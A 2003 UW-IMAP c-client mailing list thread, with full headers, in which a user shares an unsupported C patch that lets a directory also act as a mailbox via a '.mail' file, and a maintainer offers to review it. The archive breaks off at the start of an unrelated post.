For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Aug 22 07:33:27 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Aug 2003 07:33:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MEXRxd006480 for ; Fri, 22 Aug 2003 07:33:27 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MEX4of007791 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 22 Aug 2003 07:33:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7MEWrOL088922; Fri, 22 Aug 2003 07:32:53 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MEVL2x056384 for ; Fri, 22 Aug 2003 07:31:22 -0700 Received: from gateway.macdonnell.ca (h68-145-162-148.cg.shawcable.net [68.145.162.148]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MEVErM028019 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Fri, 22 Aug 2003 07:31:19 -0700 Received: from macdonnell.ca (newpc.localdomain@desktop.localdomain [192.168.0.4]) by gateway.macdonnell.ca (8.12.9/8.12.9) with ESMTP id h7MEVDli001452 for ; Fri, 22 Aug 2003 08:31:13 -0600 Message-Id: <3F462931.8070009@macdonnell.ca> Date: Fri, 22 Aug 2003 08:31:13 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Creighton MacDonnell To: c-client@u.washington.edu Subject: Re: Directory that is a mailbox In-Reply-To: <026201c3685a$2170ece0$c800a8c0@wasmer.ca> References: <026201c3685a$2170ece0$c800a8c0@wasmer.ca> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------040609090606040006020303" X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIII, Probability=4%, Report='__HAS_MSGID, __SANE_MSGID, X_ACCEPT_LANG, __IN_REP_TO, __REFERENCES, NO_MX_FOR_FROM, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, PATCH_UNIFIED_DIFF, SPAM_PHRASE_00_01' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------040609090606040006020303 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I have a patch that I use on my version of IMAP that does this. I have attached it. I do not vouch for its correctness (particularly regarding file locking) or usefulness. It also reflects all of my confgiuration changes, some of which have nothing to do with "Directory that is a mailbox". I have responded in this way because I too like to have directories that are also mailboxes. I have also responded because I ma tired of maintining this patch, and worrying that it will be too much work to retest it with each release. I want to encourage discussion on this list about some sort of extension to IMAP to provide this. The patch hacks the "unix" mailbox driver. Instead of "_" it uses ".mail" as a "special" file name. The "hideDotFiles = T" configuration option is also important. It should of course be a seperate driver, and leave "unix" intact. The patch used to do the same for the "mbx" mailbox driver (which is the preferred format I guess). But this stopped working a couple of releases ago, and I could not muster the desire to fix it. I might be willing to contribute some of my own time to adapt the technique to the standards and preferences of the UW-IMAP stewards, under their instruction, if the result found its way into the core code. But I may not have the depth of experience that they would want. Jean-Luc Wasmer wrote: > Hi, > > > The FAQ section 1.10 says: > > "Some mailbox formats, including the default which is the traditional UNIX > mailbox format, are stored as a single file containing all the messages. > UNIX does not permit a name in the filesystem to be both a file and a > directory; consequently you can not have a sub-mailbox within a mailbox that > is in one of these formats. > [...] > It is always permissible to create a directory that is not a mailbox, and > have sub-mailboxes under it." > > I use this a lot. Unfortunatly, if I select a directory I get an error > because it's not a mailbox. > > Would it be possible to interpret a file wih a special name (eg. "_") as the > mailbox of the parent directory? > > So having the following file system tree: > > Clients/ > _ > ClientA > ClientB > ClientC > > would appear to the IMAP client like > > Clients > ClientA > ClientB > ClientC > > with Clients ClientA ClientB and ClientC four different mailboxes. > > Mail in the "Clients" mailbox would be stored in the file Clients/_ > > Thanks, > > JL > -- Creighton MacDonnell http://macdonnell.ca/ --------------040609090606040006020303 Content-Type: text/plain; name="imap.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="imap.diff" --- ./src/imapd/Makefile~ 2002-11-18 09:48:25.000000000 -0700 +++ ./src/imapd/Makefile 2003-04-23 10:47:58.000000000 -0600 @@ -29,7 +29,7 @@ # causes the "Manage Mail" menu item to open the given URL, e.g. to point to # an alternative IMAP client (e.g. Pine) or perhaps to a homebrew mail # account management page. -#NSBD= -DNETSCAPE_BRAIN_DAMAGE=\"http://www.washington.edu/pine\" +NSBD= -DNETSCAPE_BRAIN_DAMAGE=\"http://www.washington.edu/pine\" --- ./src/osdep/unix/env_unix.c~ 2003-04-16 15:03:26.000000000 -0600 +++ ./src/osdep/unix/env_unix.c 2003-04-23 11:25:10.000000000 -0600 @@ -29,7 +29,7 @@ static char *myMailboxDir = NIL;/* mailbox directory name */ static char *myLocalHost = NIL; /* local host name */ static char *myNewsrc = NIL; /* newsrc file name */ -static char *mailsubdir = NIL; /* mail subdirectory name */ +static char *mailsubdir = "mail"; /* mail subdirectory name */ static char *sysInbox = NIL; /* system inbox name */ static char *newsActive = NIL; /* news active file */ static char *newsSpool = NIL; /* news spool */ @@ -44,15 +44,15 @@ static short anonymous = NIL; /* is anonymous */ static short blackBox = NIL; /* is a black box */ static short closedBox = NIL; /* is a closed box */ -static short restrictBox = NIL; /* is a restricted box */ +static short restrictBox = T; /* is a restricted box */ static short has_no_life = NIL; /* is a cretin with no life */ /* flock() emulator is a no-op */ static short disableFcntlLock = NIL; -static short hideDotFiles = NIL;/* hide files whose names start with . */ +static short hideDotFiles = T; /* hide files whose names start with . */ /* advertise filesystem root */ static short advertisetheworld = NIL; /* disable automatic shared namespaces */ -static short noautomaticsharedns = NIL; +static short noautomaticsharedns = T; static short no822tztext = NIL; /* disable RFC [2]822 timezone text */ static short netfsstatbug = NIL;/* compensate for broken stat() on network * filesystems (AFS and old NFS). Don't do @@ -804,7 +804,7 @@ { char tmp[MAILTMPLEN]; if (!sysInbox) { /* initialize if first time */ - sprintf (tmp,"%s/%s",MAILSPOOL,myusername ()); + sprintf (tmp,"%s/mail/.inbox",myhomedir ()); sysInbox = cpystr (tmp); /* system inbox is from mail spool */ } return sysInbox; --- ./src/osdep/unix/env_unix.h~ 2002-02-22 21:03:45.000000000 -0700 +++ ./src/osdep/unix/env_unix.h 2003-04-23 10:47:58.000000000 -0600 @@ -33,8 +33,8 @@ /* Subscription definitions for UNIX */ -#define SUBSCRIPTIONFILE(t) sprintf (t,"%s/.mailboxlist",myhomedir ()) -#define SUBSCRIPTIONTEMP(t) sprintf (t,"%s/.mlbxlsttmp",myhomedir ()) +#define SUBSCRIPTIONFILE(t) sprintf (t,"%s/mail/.mailboxlist",myhomedir ()) +#define SUBSCRIPTIONTEMP(t) sprintf (t,"%s/mail/.mlbxlsttmp",myhomedir ()) /* dorc() options */ --- ./src/osdep/unix/unix.c~ 2003-01-07 13:23:16.000000000 -0700 +++ ./src/osdep/unix/unix.c 2003-04-23 10:47:58.000000000 -0600 @@ -97,6 +97,20 @@ /* driver parameters */ static long unix_fromwidget = T; +/* UNIX mail generate file string + * Accepts: temporary buffer to write into + * mailbox name string + * Returns: local file string or NIL if failure + */ + +char *unix_file (char *dst,char *name) +{ + char *s = mailboxfile (dst,name); + if (!s) return s; + if (!*s) return strcpy (dst,sysinbox ()); + return strcat(dst,"/.mail"); +} + /* UNIX mail validate mailbox * Accepts: mailbox name * Returns: our driver if name is valid, NIL otherwise @@ -111,7 +125,7 @@ time_t tp[2]; errno = EINVAL; /* assume invalid argument */ /* must be non-empty file */ - if ((t = dummy_file (file,name)) && !stat (t,&sbuf)) { + if ((t = unix_file (file,name)) && !stat (t,&sbuf)) { if (!sbuf.st_size)errno = 0;/* empty file */ else if ((fd = open (file,O_RDONLY,NIL)) >= 0) { /* OK if mailbox format good */ @@ -214,10 +228,15 @@ long ret = NIL; int i,fd; time_t ti = time (0); - if (!(s = dummy_file (mbx,mailbox))) { + if (!(s = unix_file (mbx,mailbox))) { sprintf (tmp,"Can't create %.80s: invalid name",mailbox); MM_LOG (tmp,ERROR); } + /* no hidden files or directories */ + else if (mailbox[0] == '.' || strstr(mailbox,"/.")) { + sprintf (tmp,"Can't create %.80s: invalid name - leading period",mailbox); + MM_LOG (tmp,ERROR); + } /* create underlying file */ else if (dummy_create_path (stream,s,get_dir_protection (mailbox))) { /* done if made directory */ @@ -284,41 +303,32 @@ long i; struct stat sbuf; MM_CRITICAL (stream); /* get the c-client lock */ - if (newname && !((s = dummy_file (tmp,newname)) && *s)) + if (newname && !((s = unix_file (tmp,newname)) && *s)) sprintf (tmp,"Can't rename mailbox %.80s to %.80s: invalid name", old,newname); /* lock out other c-clients */ - else if ((ld = lockname (lock,dummy_file (file,old),LOCK_EX|LOCK_NB,&i)) < 0) + else if ((ld = lockname (lock,unix_file (file,old),LOCK_EX|LOCK_NB,&i)) < 0) sprintf (tmp,"Mailbox %.80s is in use by another process",old); else { if ((fd = unix_lock (file,O_RDWR,S_IREAD|S_IWRITE,&lockx,LOCK_EX)) < 0) sprintf (tmp,"Can't lock mailbox %.80s: %s",old,strerror (errno)); else { if (newname) { /* want rename? */ - /* found superior to destination name? */ - if (s = strrchr (s,'/')) { - c = *++s; /* remember first character of inferior */ - *s = '\0'; /* tie off to get just superior */ - /* name doesn't exist, create it */ - if ((stat (tmp,&sbuf) || ((sbuf.st_mode & S_IFMT) != S_IFDIR)) && - !dummy_create_path (stream,tmp,get_dir_protection (newname))) { - unix_unlock (fd,NIL,&lockx); - unix_unlock (ld,NIL,NIL); - unlink (lock); - MM_NOCRITICAL (stream); - return ret; /* return success or failure */ - } - *s = c; /* restore full name */ - } - if (rename (file,tmp)) - sprintf (tmp,"Can't rename mailbox %.80s to %.80s: %s",old,newname, - strerror (errno)); - else ret = T; /* set success */ + unix_unlock (fd,NIL,&lockx); /* lock file is in directory to rename */ + fd = -1; + if (!(ret = dummy_rename(stream,old,newname))) /* rename parent directory */ + sprintf (tmp,"Can't rename mailbox directory %.80s to %.80s: %s",old,newname, + strerror (errno)); } else if (unlink (file)) - sprintf (tmp,"Can't delete mailbox %.80s: %s",old,strerror (errno)); - else ret = T; /* set success */ - unix_unlock (fd,NIL,&lockx); + sprintf (tmp,"Can't delete mailbox \".mail\" file %.80s: %s",old,strerror (errno)); + else { /* delete parent directory too */ + unix_unlock (fd,NIL,&lockx); /* lock file is in directory to delete */ + fd = -1; + if (!(ret = dummy_delete (stream,old))) + sprintf (tmp,"Can't delete mailbox directory %.80s: %s",old,strerror (errno)); + } + if (fd >= 0) unix_unlock (fd,NIL,&lockx); } unix_unlock (ld,NIL,NIL); /* flush the lock */ unlink (lock); @@ -348,7 +358,7 @@ /* note if an INBOX or not */ stream->inbox = !compare_cstring (stream->mailbox,"INBOX"); /* canonicalize the stream mailbox name */ - dummy_file (tmp,stream->mailbox); + unix_file (tmp,stream->mailbox); /* flush old name */ fs_give ((void **) &stream->mailbox); /* save canonical name */ @@ -761,7 +771,7 @@ } LOCAL->buf[0] = '\0'; MM_CRITICAL (stream); /* go critical */ - if ((fd = unix_lock (dummy_file (file,mailbox),O_WRONLY|O_APPEND|O_CREAT, + if ((fd = unix_lock (unix_file (file,mailbox),O_WRONLY|O_APPEND|O_CREAT, S_IREAD|S_IWRITE,&lock,LOCK_EX)) < 0) { MM_NOCRITICAL (stream); /* done with critical */ sprintf (LOCAL->buf,"Can't open destination mailbox: %s",strerror (errno)); @@ -903,7 +913,7 @@ i = sbuf.st_size; /* size of scratch file */ MM_CRITICAL (stream); /* go critical */ - if (((fd = unix_lock (dummy_file (file,mailbox),O_WRONLY|O_APPEND|O_CREAT, + if (((fd = unix_lock (unix_file (file,mailbox),O_WRONLY|O_APPEND|O_CREAT, S_IREAD|S_IWRITE,&lock,LOCK_EX)) < 0) || !(df = fdopen (fd,"ab"))) { MM_NOCRITICAL (stream); /* done with critical */ --- ./src/osdep/unix/Makefile~ 2003-03-04 22:26:35.000000000 -0700 +++ ./src/osdep/unix/Makefile 2003-04-23 10:47:58.000000000 -0600 @@ -23,13 +23,13 @@ EXTRAAUTHENTICATORS= EXTRADRIVERS=mbox PASSWDTYPE=std -SSLTYPE=nopwd +SSLTYPE=unix # Extended flags needed for SSL. You may need to modify. SSLDIR=/usr/local/ssl -SSLCERTS=$(SSLDIR)/certs +SSLCERTS=/etc/imap/SSL SSLINCLUDE=$(SSLDIR)/include SSLLIB=$(SSLDIR)/lib @@ -115,7 +115,7 @@ dummy.o pseudo.o netmsg.o flstring.o fdstring.o \ rfc822.o nntp.o smtp.o imap4r1.o pop3.o \ unix.o mbox.o mbx.o mmdf.o tenex.o mtx.o news.o phile.o mh.o mx.o -CFLAGS=-g +CFLAGS= CAT=cat MAKE=make @@ -613,7 +613,7 @@ SPOOLDIR=/var/spool \ ACTIVEFILE=/var/lib/news/active \ RSHPATH=/usr/bin/rsh \ - BASECFLAGS="-g -fno-omit-frame-pointer -O6" \ + BASECFLAGS="-fno-omit-frame-pointer -O6" \ BASELDFLAGS="-lcrypt" sl4: # Secure Linux using libc4 --------------040609090606040006020303-- From pinedev@shivax2.cac.washington.edu Fri Aug 22 07:57:35 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Aug 2003 07:57:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MEvZxd007425 for ; Fri, 22 Aug 2003 07:57:35 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MEvEY7021225 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 22 Aug 2003 07:57:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7MEv7J8041058; Fri, 22 Aug 2003 07:57:07 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MEuA2x032304 for ; Fri, 22 Aug 2003 07:56:10 -0700 Received: from oggy.wasmer.ca (montreal-hs-64-26-155-159.s-ip.magma.ca [64.26.155.159]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MEu8rL002001 for ; Fri, 22 Aug 2003 07:56:09 -0700 Received: from frosty (frosty.wasmer.ca [192.168.0.200]) by oggy.wasmer.ca (8.12.9/8.12.9) with SMTP id h7MEu8Nr019170 for ; Fri, 22 Aug 2003 10:56:08 -0400 (EDT) Message-Id: <00b101c368be$08d8b280$c800a8c0@wasmer.ca> Date: Fri, 22 Aug 2003 10:59:49 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jean-Luc Wasmer" To: Subject: Re: Directory that is a mailbox References: <026201c3685a$2170ece0$c800a8c0@wasmer.ca> <3F462931.8070009@macdonnell.ca> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID, __SANE_MSGID, __HAS_MIMEOLE, __HAS_X_PRIORITY, __HAS_MSMAIL_PRI, __EVITE_CTYPE, __REFERENCES, REFERENCES, PRIORITY_NO_NAME, QUOTED_EMAIL_TEXT, SPAM_PHRASE_01_02' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > I have a patch that I use on my version of IMAP that does this. I have > attached it. I never expected to get a positive answer for my request... I received a patch... incredible! > I have also responded because I ma tired of maintining this patch, and > worrying that it will be too much work to retest it with each release. I > want to encourage discussion on this list about some sort of extension > to IMAP to provide this. I'm new to this list... did you submit your patch to the maintainer of UW-IMAP in the past? It could be part of the default release but only activated by some configuration option. > The patch hacks the "unix" mailbox driver. Instead of "_" it uses > ".mail" as a "special" file name. I agree, ".mail" is more appropriate than "_". I suggested "_" since it's what my directory mailbox file is called right now (in order to be the first in the mailbox list). > The patch used to do the same for the "mbx" mailbox driver I use the unix driver. JL From pinedev@shivax2.cac.washington.edu Fri Aug 22 09:59:14 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Aug 2003 09:59:14 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MGxDxd016987 for ; Fri, 22 Aug 2003 09:59:13 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MGwpof014872 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 22 Aug 2003 09:58:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7MGwkOL077570; Fri, 22 Aug 2003 09:58:46 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MGvj2x021620 for ; Fri, 22 Aug 2003 09:57:45 -0700 Received: from gateway.macdonnell.ca (h68-145-162-148.cg.shawcable.net [68.145.162.148]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MGvcC1030716 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Fri, 22 Aug 2003 09:57:44 -0700 Received: from macdonnell.ca (newpc.localdomain@desktop.localdomain [192.168.0.4]) by gateway.macdonnell.ca (8.12.9/8.12.9) with ESMTP id h7MGvcli001550 for ; Fri, 22 Aug 2003 10:57:38 -0600 Message-Id: <3F464B82.3010504@macdonnell.ca> Date: Fri, 22 Aug 2003 10:57:38 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Creighton MacDonnell To: c-client@u.washington.edu Cc: c-client@u.washington.edu Subject: Re: Directory that is a mailbox In-Reply-To: <00b101c368be$08d8b280$c800a8c0@wasmer.ca> References: <026201c3685a$2170ece0$c800a8c0@wasmer.ca> <3F462931.8070009@macdonnell.ca> <00b101c368be$08d8b280$c800a8c0@wasmer.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID, __SANE_MSGID, X_ACCEPT_LANG, __EVITE_CTYPE, __IN_REP_TO, __REFERENCES, NO_MX_FOR_FROM, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_00_01' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Jean-Luc Wasmer wrote: > > I never expected to get a positive answer for my request... > I received a patch... incredible! Let me emphasize again that I am not promising to support this or to ensure it works with new releases. > I'm new to this list... did you submit your patch to the maintainer of > UW-IMAP in the past? > It could be part of the default release but only activated by some > configuration option. No. I did not. I don't even know if the UW-IMAP devleopment team is interested in input of this sort from the user community. I only joined this mailing list recently myself. From pinedev@shivax2.cac.washington.edu Fri Aug 22 10:25:01 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Aug 2003 10:25:01 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MHOuxd018823 for ; Fri, 22 Aug 2003 10:24:56 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MHOHY7028534 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 22 Aug 2003 10:24:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7MHOAOL019302; Fri, 22 Aug 2003 10:24:10 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MHND2x007656 for ; Fri, 22 Aug 2003 10:23:13 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MHMrSC011710 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 22 Aug 2003 10:22:54 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout4.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MHMfCK032096; Fri, 22 Aug 2003 10:22:41 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7MHMeiO017670; Fri, 22 Aug 2003 10:22:41 -0700 Message-Id: Date: Fri, 22 Aug 2003 10:22:40 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Creighton MacDonnell Cc: c-client@u.washington.edu Subject: Re: Directory that is a mailbox In-Reply-To: <3F464B82.3010504@macdonnell.ca> References: <026201c3685a$2170ece0$c800a8c0@wasmer.ca> <3F462931.8070009@macdonnell.ca> <00b101c368be$08d8b280$c800a8c0@wasmer.ca> <3F464B82.3010504@macdonnell.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_03_05' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 22 Aug 2003, Creighton MacDonnell wrote: > I don't even know if the UW-IMAP devleopment team is interested in input > of this sort from the user community. I only joined this mailing list > recently myself. We intend to support some kind of mailbox-directory function in the future as an addition (not in lieu) to existing functionality. The exact nature of this is still under consideration. We encourage people such as you to develop and distribute patches, even if we do not choose to adopt them in the official distribution. We receive many suggested patches, and can adopt only a small number of them; but all suggested patches are carefully considered. Please send a copy of the patch to me and I will look at it. If nothing else, I can offer suggestions for your patch so that it is likely to remain usable in future releases. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Aug 22 18:23:27 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Aug 2003 18:23:27 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7N1NRxd032582 for ; Fri, 22 Aug 2003 18:23:27 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7N1N6Y7020001 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 22 Aug 2003 18:23:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7N1N2J8014944; Fri, 22 Aug 2003 18:23:02 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7N1M52x056338 for ; Fri, 22 Aug 2003 18:22:05 -0700 Received: from oggy.wasmer.ca (montreal-hs-64-26-155-159.s-ip.magma.ca [64.26.155.159]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7N1M3ZF012801 for ; Fri, 22 Aug 2003 18:22:04 -0700 Received: from frosty (frosty.wasmer.ca [192.168.0.200]) by oggy.wasmer.ca (8.12.9/8.12.9) with SMTP id h7N1M2Nr020829 for ; Fri, 22 Aug 2003 21:22:03 -0400 (EDT) Message-Id: <01e801c36915$7b62ad40$c800a8c0@wasmer.ca> Date: Fri, 22 Aug 2003 21:25:47 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jean-Luc Wasmer" To: Subject: Re: Directory that is a mailbox References: <026201c3685a$2170ece0$c800a8c0@wasmer.ca> <3F462931.8070009@macdonnell.ca> <00b101c368be$08d8b280$c800a8c0@wasmer.ca> <3F464B82.3010504@macdonnell.ca> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Uwash-Spam: Gauge=IIIIIIIII, Probability=9%, Report='__HAS_MSGID, __SANE_MSGID, __HAS_MIMEOLE, __HAS_X_PRIORITY, __HAS_MSMAIL_PRI, __EVITE_CTYPE, __REFERENCES, REFERENCES, PRIORITY_NO_NAME, QUOTED_EMAIL_TEXT, SPAM_PHRASE_00_01' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > I never expected to get a positive answer for my request... > > I received a patch... incredible! > > Let me emphasize again that I am not promising to support this or to > ensure it works with new releases. You were perfectly clear... I was just surprised to realize I was not the only one wanting this feature. Thanks again for the patch... JL From pinedev@shivax2.cac.washington.edu Sun Aug 24 08:37:28 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 24 Aug 2003 08:37:28 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OFbSxd000810 for ; Sun, 24 Aug 2003 08:37:28 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OFbMY7010971 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 24 Aug 2003 08:37:22 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7OFbAOL083488; Sun, 24 Aug 2003 08:37:12 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OFY12x011768 for ; Sun, 24 Aug 2003 08:34:01 -0700 Received: from kraken.magnetinternet.com (kraken.magnetinternet.com [206.190.137.27]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7OFY0rL027638 for ; Sun, 24 Aug 2003 08:34:00 -0700 Received: from webmail.pdxlug.org (localhost.magnetinternet.com [127.0.0.1]) by kraken.magnetinternet.com (Magnet Internet E-Mail Service) with SMTP id C3FE491F96 for ; Sun, 24 Aug 2003 08:33:59 -0700 (PDT) Received: from 68.96.48.205 (SquirrelMail authenticated user m) by webmail.pdxlug.org with HTTP; Sun, 24 Aug 2003 08:33:59 -0700 (PDT) Message-Id: <6514.68.96.48.205.1061739239.squirrel@webmail.pdxlug.org> Date: Sun, 24 Aug 2003 08:33:59 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Matt Alexander" To: c-client@u.washington.edu Subject: How to run IMAP as non-root, port >1024 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 X-Uwash-Spam: Gauge=XXX, Probability=30%, Report='__HAS_MSGID, __SANE_MSGID, __HAS_X_PRIORITY, __EVITE_CTYPE, FORGED_RCVD_TRAIL, PRIORITY_NO_NAME, 